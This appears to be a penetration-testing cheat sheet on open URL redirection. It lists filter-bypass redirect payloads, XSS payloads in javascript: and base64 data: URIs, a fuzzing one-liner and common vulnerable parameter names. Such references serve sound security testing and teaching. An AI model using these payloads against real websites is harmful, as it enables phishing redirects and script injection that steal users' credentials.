Open URL Redirection

> Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Summary

Exploitation

Let's say there's a `well known` website - https://famous-website.tld/. And let's assume that there's a link like :

```
https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account
```

After signing up you get redirected to your account, this redirection is specified by the `redirectUrl` parameter in the URL.
What happens if we change the `famous-website.tld/account` to `evil-website.tld`?

```
https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account
```

By visiting this url, if we get redirected to `evil-website.tld` after the signup, we have an Open Redirect vulnerability. This can be abused by an attacker to display a phishing page asking you to enter your credentials.

HTTP Redirection Status Code - 3xx

- 300 Multiple Choices
- 301 Moved Permanently
- 302 Found
- 303 See Other
- 304 Not Modified
- 305 Use Proxy
- 307 Temporary Redirect
- 308 Permanent Redirect

Fuzzing

Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case

To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.

```
WHITELISTEDDOMAIN="www.test.com" && sed
's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt >
Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" |
awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-
"$WHITELISTEDDOMAIN".txt
```

Filter Bypass

Using a whitelisted domain or keyword

```
www.whitelisted.com.evil.com redirect to evil.com
```

Using CRLF to bypass "javascript" blacklisted keyword

```
java%0d%0ascript%0d%0a:alert(0)
```

Using "//" & "////" to bypass "http" blacklisted keyword

```
//google.com
////google.com
```

Using "https:" to bypass "//" blacklisted keyword

```
https:google.com
```

Using "//" to bypass "//" blacklisted keyword (Browsers see // as //)

```
\/\/google.com/
/\/google.com/
```

Using "%E3%80%82" to bypass "." blacklisted character

```
/?redir=google。com
//google%E3%80%82com
```

Using null byte "%00" to bypass blacklist filter

```
//google%00.com
```

Using parameter pollution

```
?next=whitelisted.com&next=google.com
```

Using "@" character, browser will redirect to anything after the "@"

```
http://www.theirsite.com@yoursite.com/
```

Creating folder as their domain

```
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```

Using "?" characted, browser will translate it to "/?"

```
http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com
```

Host/Split Unicode Normalization

```
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com⃫X.b.com
```

XSS from Open URL - If it's in a JS variable

```
";alert(0);//
```

XSS from data:// wrapper

```
http://www.example.com/redirect.php?
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
```

XSS from javascript:// wrapper

```
http://www.example.com/redirect.php?url=javascript:prompt(1)
```

Common injection parameters

```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
```

References

- filedescriptor
- You do not need to run 80 reconnaissance tools to get access to user accounts - @stefanocoding
- OWASP - Unvalidated Redirects and Forwards Cheat Sheet
- Cujanovic - Open-Redirect-Payloads
- Pentester Land - Open Redirect Cheat Sheet
- Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7
- Host/Split Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019